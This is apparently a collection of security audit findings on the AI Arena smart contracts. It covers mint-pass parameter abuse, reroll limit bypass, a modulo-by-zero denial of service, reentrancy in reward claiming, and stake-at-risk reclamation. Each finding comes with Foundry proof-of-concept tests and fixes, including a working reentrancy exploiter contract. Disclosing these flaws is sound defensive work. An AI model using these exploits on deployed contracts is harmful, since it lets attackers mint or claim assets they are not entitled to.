AI Arena - sl1's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Bug description

Mintpasses are the way for qualified users to receive their fighters and play the game. In order for a player to redeem their mint pass for a fighter, they will call the redeemMintPass() function in FighterFarm.sol, which burns their mint pass and creates a fighter NFT. redeemMintPass() takes 6 parameters, but does not validate that user-supplied arrays belong to the mintPass being burned. FighterFarm.sol#L233-L262

function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length && 
            mintPassDnas.length == fighterTypes.length && 
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

Users can pass any arbitrary fighterTypes and iconsTypes either to mint rare dendroid fighters or a rare subtype of champion fighters. redeemMintPass() calls _createNewFighter(), passing down those parameters, which in turn calls AiArenHelper.createPhysicalAttributes(), which determines the attributes based on supplied fighterType and iconsType. FighterFarm.sol#L484-L531

bool dendroidBool = fighterType == 1;
        FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            iconsType,
            dendroidBool
        );

AiArenaHelper.sol#L83-L121

if (dendroidBool) {
            return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99);
        } else {
            uint256[] memory finalAttributeProbabilityIndexes = new uint[](attributes.length);

            uint256 attributesLength = attributes.length;
            for (uint8 i = 0; i < attributesLength; i++) {
                if (
                  i == 0 && iconsType == 2 || // Custom icons head (beta helmet)
                  i == 1 && iconsType > 0 || // Custom icons eyes (red diamond)
                  i == 4 && iconsType == 3 // Custom icons hands (bowling ball)
                ) {
                    finalAttributeProbabilityIndexes[i] = 50;
                } else {
                    uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
                    uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
                    finalAttributeProbabilityIndexes[i] = attributeIndex;
                }
            }

Impact

Users can mint whatever fighters they wish for, no matter the rarity of those fighters.

Recommended Mitigation

Use the same approach as in claimFighters() function and provide a user with the signature with predetermined fighterTypes, dna and iconsTypes.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

Bug description

FighterFarm contract has a designated function that allows users to reRoll their fighters to receive new fighters with random traits. FighterFarm.sol#370-391

function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }

The problem is that fighterType is a user-supplied parameter, that is not being validated to equal the fighter's original type. This in turn allows the user to reroll more time than it is allowed in maxRerollsAllowed[fighterType] and potentially influence new fighter's traits, since fighterType is being used as a parameter to _createFighterBase() and createPhysicalAttributes() functions.

Impact

User is able to reroll more times than it is allowed for his fighter's specific fighterType and potentially influence fighter's newly generated traits.

Proof of Concept

Note: To successfully run this POC, please modify incrementGeneration() function of the FighterFarm contract. It does not affect the logic, just fixes a bug, that DoS'es _createFighterBase() function, when generation is incremented, which I submitted in another report.

Modified function:

function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        numElements[generation[fighterType]] = numElements[
            generation[fighterType] - 1
        ];
        return generation[fighterType];
    }

POC:

function testRerollMoreThanAllowed() public {
        // Mint fighter with fighterType = 0
        _mintFromMergingPool(_ownerAddress);

        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _neuronContract.addSpender(address(_fighterFarmContract));

        // Increment generation for fighterType == 1, so now second fighterType will have 4 maxRerollsAllowed
        _fighterFarmContract.incrementGeneration(1);

        // Currently 3 rerolls are allowed
        _fighterFarmContract.reRoll(0, 0);
        _fighterFarmContract.reRoll(0, 0);
        _fighterFarmContract.reRoll(0, 0);
        // 4th reroll fails
        vm.expectRevert();
        _fighterFarmContract.reRoll(0, 0);

        // Passing different fighterType and reroll succeeds
        _fighterFarmContract.reRoll(0, 1);
    }

Please add it to FighterFarm.t.sol contract and run it with forge test --match-test 'testRerollMoreThanAllowed'.

Recommended Mitigation

Do not allow users to supply fighterType, use figher's fighterType instead. FighterFarm.sol#L370-L391

-    function reRoll(uint8 tokenId, uint8 fighterType) public {
+    function reRoll(uint8 tokenId) public {
         require(msg.sender == ownerOf(tokenId));
+        uint8 fighterType = fighters[tokenId].dendroidBool ? 1 : 0;
         require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
         require(
             _neuronInstance.balanceOf(msg.sender) >= rerollCost,

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474

Vulnerability details

Bug description

The _createFighterBase() function is used to create the base attributes for fighters. It does so by pseudo-randomly generating element, weight, and new DNA based on provided DNA and fighterType. FighterFarm.sol#462-474

function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

As seen, it generates a new element by taking a modulo of dna by numElements[generation[fighterType]]. numElements is a mapping of a number of elements by generation. It is initialized to 3 elements for the first generation in the constructor of the FighterFarm contract. FighterFarm.sol#104-111

constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
        numElements[0] = 3;
    } 

The owner of the FighterFarm contract has the ability to increment generation for a particular fighterType. FigherFarm.sol#129-134

function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }

The problem is that incrementGeneration() function does not take into account numElements mapping and does not update it accordingly. When incrementGeneration() will be called at least once for a fighterType, _createFighterBase() will always panic revert because of this line:

uint256 element = dna % numElements[generation[fighterType]];

As generation[fighterType] will return 1 and not 0 at this point, numElements will be uninitialized and return 0. Solidity does not support operations involving division or modulo by 0, so _createFighterBase() will be permanently DoS'ed for this fighterType, since there is no function to update numElements.

Impact

_createFighterBase() is called by _reRoll() and _createNewFighter() functions. _createNewFighter() is in turn called by claimFighters(), redeemMintPass() and mintFromMergingPool() functions and all of them will DoS'ed for this fighterType.

Proof of Concept

Please add this function to FighterFarm.t.sol and run it with forge test --match-test 'testDOS'.

function testDOS() public {
        // Mint fighter with fighterType = 0
        _mintFromMergingPool(_ownerAddress);
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _neuronContract.addSpender(address(_fighterFarmContract));

        // The first reroll works as expected
        _fighterFarmContract.reRoll(0, 0);
        // Incrementing generation for a fighterType = 0
        _fighterFarmContract.incrementGeneration(0);
        vm.expectRevert();
        // Reverts with panic: divisionr or modulo by zero (0x12)
        _fighterFarmContract.reRoll(0, 0);
    }

Recommended Mitigation

Consider updating numElements when incrementing generation or provide a designated admin function for updating numElements. FighterFarm.sol#L129-L134

function incrementGeneration(uint8 fighterType) external returns (uint8) {
         require(msg.sender == _ownerAddress);
         generation[fighterType] += 1;
         maxRerollsAllowed[fighterType] += 1;
+        numElements[generation[fighterType]] = numElements[
+            generation[fighterType] - 1
+        ];
         return generation[fighterType];
     }
 

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Bug description

While participating in ranked battles, users can divert part of their earned points to a MergingPool contract in a chance to win a new NFT. After winners have been picked, they can call the claimRewards() function to claim their NFTs. MergingPool.sol#L139-167

uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }

This function is susceptible to reentrancy vulnerability since NFT is minted using _safeMint(), which introduces a callback to the receiver of the NFT. FighterFarm.sol#L313-L331

 function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

FighterFarm.sol#L484-L531

function _createNewFighter(
        address to, 
        uint256 dna, 
        string memory modelHash,
        string memory modelType, 
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) 
        private 
    {  
     ........
     _safeMint(to, newId);
}

This vulnerability stems from the fact that numRoundsClaimed[msg.sender] is cached at the beginning of the function:

uint32 lowerBound = numRoundsClaimed[msg.sender];

When numRoundsClaimed is incremented during the reentrant call, lowerBound stays the same for the original call and the function proceeds to claim for rounds that have already been claimed for during the reentrant call.

Impact

The user is able to claim more NFTs than he is entitled to.

Proof of Concept

To test this vulnerability, please create the exploiter contract, that will listen for onERC721Received callback:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {MergingPool} from "./MergingPool.sol";
import {FighterFarm} from "./FighterFarm.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/interfaces/IERC721Receiver.sol";

contract ReentrancyExploiter is IERC721Receiver {
    MergingPool public pool;
    FighterFarm public farm;
    uint256 public increment = 0;

    constructor(address _pool, address _farm) {
        pool = MergingPool(_pool);
        farm = FighterFarm(_farm);
    }

    function claim(
        string[] calldata modelURIs,
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) public {
        pool.claimRewards(modelURIs, modelTypes, customAttributes);
    }

    function onERC721Received(
        address _sender,
        address _from,
        uint256 _tokenId,
        bytes memory _data
    ) external override returns (bytes4) {
        // Leave it blank for the sake of simplicity
        string[] memory _modelURIs = new string[](4);
        string[] memory _modelTypes = new string[](4);
        uint256[2][] memory _customAttributes = new uint256[2][](4);

        if (increment < 2) {
            increment++;
            pool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

Import the contract to MergingPool.t.sol:

import {ReentrancyExploiter} from "../src/reentrancy.sol";

Add this function to the aforementioned test contract:

function testClaimRewardsReentrancy() public {
        // Create an instance of exploiter contract
        ReentrancyExploiter exploiter = new ReentrancyExploiter(
            address(_mergingPoolContract),
            address(_fighterFarmContract)
        );

        _mintFromMergingPool(address(exploiter));
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), address(exploiter));
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // Pick winners of 4 rounds
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);

        string[] memory _modelURIs = new string[](4);
        string[] memory _modelTypes = new string[](4);
        uint256[2][] memory _customAttributes = new uint256[2][](4);

        // Claiming with re-entrancy
        exploiter.claim(_modelURIs, _modelTypes, _customAttributes);
        // While user only won in 4 rounds, he claiemd 7 NFTs, instead of 4
        assertEq(_fighterFarmContract.balanceOf(address(exploiter)), 8);

        // Claiming without re-entrancy
        vm.startPrank(_DELEGATED_ADDRESS);
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );
        // Normal user was only able to claim 4 NFT for 4 rounds
        assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 5);

        // Even if he tries to claim again, he will not get additional NFTs
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );
        assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 5);
    }

Run the test with forge test --match-test 'testClaimRewardsReentrancy'.

Recommended Mitigation

Add nonReentrant modifier to claimRewards() function. MergingPool.sol#L139-L167

function claimRewards(
        string[] calldata modelURIs,
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
-    ) external {
+    ) external nonReentrant {

Assessed type

Reentrancy

Judge has assessed an item in Issue #1964 as 2 risk. The relevant finding follows:

claimRewards() does not validate custom attributes

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Bug description

While participating in ranked battles, users can divert part of their earned points to a MergingPool contract in a chance to win a new NFT. After winners have been picked, the claimRewards() function can be called by them to claim NFTs. MergingPool.sol#L139-167

function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {

As seen above, claimRewards() is designed to allow users to batch claim rewards for multiple rounds. It calls FighterFarm.#mintFromMergingPool(), which in turn internally calls _createNewFighter().

FighterFarm.sol#484-495

function _createNewFighter(
        address to, 
        uint256 dna, 
        string memory modelHash,
        string memory modelType, 
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) 
        private 
    {  
        require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);

As you can see, _createNewFighter() imposes a restriction that does not allow anyone to hold more than 10 fighters. This creates a possibility of a permanent DoS if a user does not claim his rewards for more than 10 rounds.

Impact

If a user does not claim his rewards for 10 or more rounds he has won in, claimRewards() will be permanently DoS'ed, and he won't be able to claim anything from now on.

Proof of Concept

Please add the following test to MergingPool.t.sol and run it with forge test --match-test 'testClaimRewardsDOS'.

function testClaimRewardsDOS() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // winners of 10 rounds are picked
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);

        // Set up modelURIs, modelTypes and customAttributes
        // Do not populate arrays for the sake of simplicity, it works nonetheless
        string[] memory _modelURIs = new string[](10);
        string[] memory _modelTypes = new string[](10);
        uint256[2][] memory _customAttributes = new uint256[2][](10);

        assertEq(_mergingPoolContract.roundId(), 10);

        // Tx will revert as the function will try to mint NFTs above MAX_FIGHTERS_ALLOWED limit
        vm.expectRevert();
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );
    }

Recommended Mitigation

Consider allowing users to specify the number of rounds they want to claim for. MergingPool.sol#L139-L167

     function claimRewards(
         string[] calldata modelURIs,
         string[] calldata modelTypes,
-        uint256[2][] calldata customAttributes
+        uint256[2][] calldata customAttributes,
+        uint32 numRoundsToClaimFor
     ) external {
         uint256 winnersLength;
         uint32 claimIndex = 0;
         uint32 lowerBound = numRoundsClaimed[msg.sender];
+        uint32 upperBound = lowerBound + numRoundsToClaimFor;
+        require(upperBound <= roundId);
         for (
             uint32 currentRound = lowerBound;
-            currentRound < roundId;
+            currentRound < upperBound;
             currentRound++
         ) {
             numRoundsClaimed[msg.sender] += 1;

Assessed type

DoS

Judge has assessed an item in Issue #1964 as 2 risk. The relevant finding follows:

[L-03] Potential Revert Due to Out-of-Gas Error in claimNRN()

Judge has assessed an item in Issue #1964 as 2 risk. The relevant finding follows:

[L-05] Weak source of randomness for fighter's DNA.

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L322-L349

Vulnerability details

Bug description

Players are able to enter their NFT fighters into ranked battles to earn rewards in native $NRN tokens. Players are only able to earn rewards by staking their tokens and winning. RankedBattle.sol#L244-L265

if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
            amountStaked[tokenId] += amount;
            globalStakedAmount += amount;
            stakingFactor[tokenId] = _getStakingFactor(
                tokenId, 
                _stakeAtRiskInstance.getStakeAtRisk(tokenId)
            );
            _calculatedStakingFactor[tokenId][roundId] = true;
            emit Staked(msg.sender, amount);
        }

As seen, after calling stakeNRN() function, a user is able to increase amountStaked[tokenId] variable to start earning rewards. It's important to note, that if a fighter loses his battle, part of the staked $NRN is deducted from amountStaked and is sent to StakeAtRisk contract. This logic is located in _addResultPoints() function, which accounts for user's tokens or points in case of a win or a loss. RankedBattle.sol#L491-L497

 bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }

Due to a faulty check in updateBattleRecord() function, a user can reclaim his $NRN at risk from the stakeAtRisk contract without risking any more of his tokens. RankedBattle.sol#L342-L344

if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }

As can be seen from the above, updateBattleRecord() will call _addResultPoints() when amountStaked[tokenId] + stakeAtRisk > 0, which means that it will allow the update even when user has no tokens staked but has a stakeAtRisk greater than zero. Following that, if a user wins his battle, part of the stakeAtRisk will be reclaimed. RankedBattle.sol#L439-L463

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
if (battleResult == 0) {
.........
if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
            }
}

But if he loses the battle, he will not lose any of his amountStaked which is already zero at this point. Because of that curStakeAtRisk will be set to 0. RankedBattle.sol#L476-L478

if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            }

And 0 will be transferred to stakeAtRisk contract, while transaction will succeed. RankedBattle.sol#L491-L497

bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }

Impact

This edge-case violates an important invariant of the protocol and allows reclaiming $NRN at risk without actually risking anything in return.

Proof of Concept

Please the following POC to RankedBattle.t.sol and run it with forge test --match-test 'testItIsPossibleToReclaimNRNWithoutRiskingMore'.

function testItIsPossibleToReclaimNRNWithoutRiskingMore() public {
        // Stake NRN with player
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);

        // Player loses his fight
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 0, 2, 1500, true);
        (, , uint256 losses) = _rankedBattleContract.fighterBattleRecord(
            tokenId
        );
        assertEq(losses, 1);

        // Player unstakes NRN
        vm.prank(player);
        _rankedBattleContract.unstakeNRN(type(uint256).max, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 0);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(0), 3000000000000000000);

        uint256 snapshot = vm.snapshot();
        // Player wins his fight, WITHOUT having any amountStaked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 0, 0, 1500, true);
        (, , uint256 losses1) = _rankedBattleContract.fighterBattleRecord(
            tokenId
        );
        // He reclaimed some stakeAtRisk
        assertEq(_stakeAtRiskContract.getStakeAtRisk(0), 2997000000000000000);

        vm.revertTo(snapshot);

        // Player loses a fight, without any amountStaked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 0, 2, 1500, true);
        (, , uint256 losses2) = _rankedBattleContract.fighterBattleRecord(
            tokenId
        );
        // He did not lose anything and the call did not revert
        assertEq(_stakeAtRiskContract.getStakeAtRisk(0), 3000000000000000000);
    }

Recommended Mitigationeps

Only allow to call _addResultPoints() when a user has amountStaked greater than 0. RankedBattle.sol#L342-L344

- if (amountStaked[tokenId] + stakeAtRisk > 0) {
+ if (amountStaked[tokenId] > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }

Assessed type

Other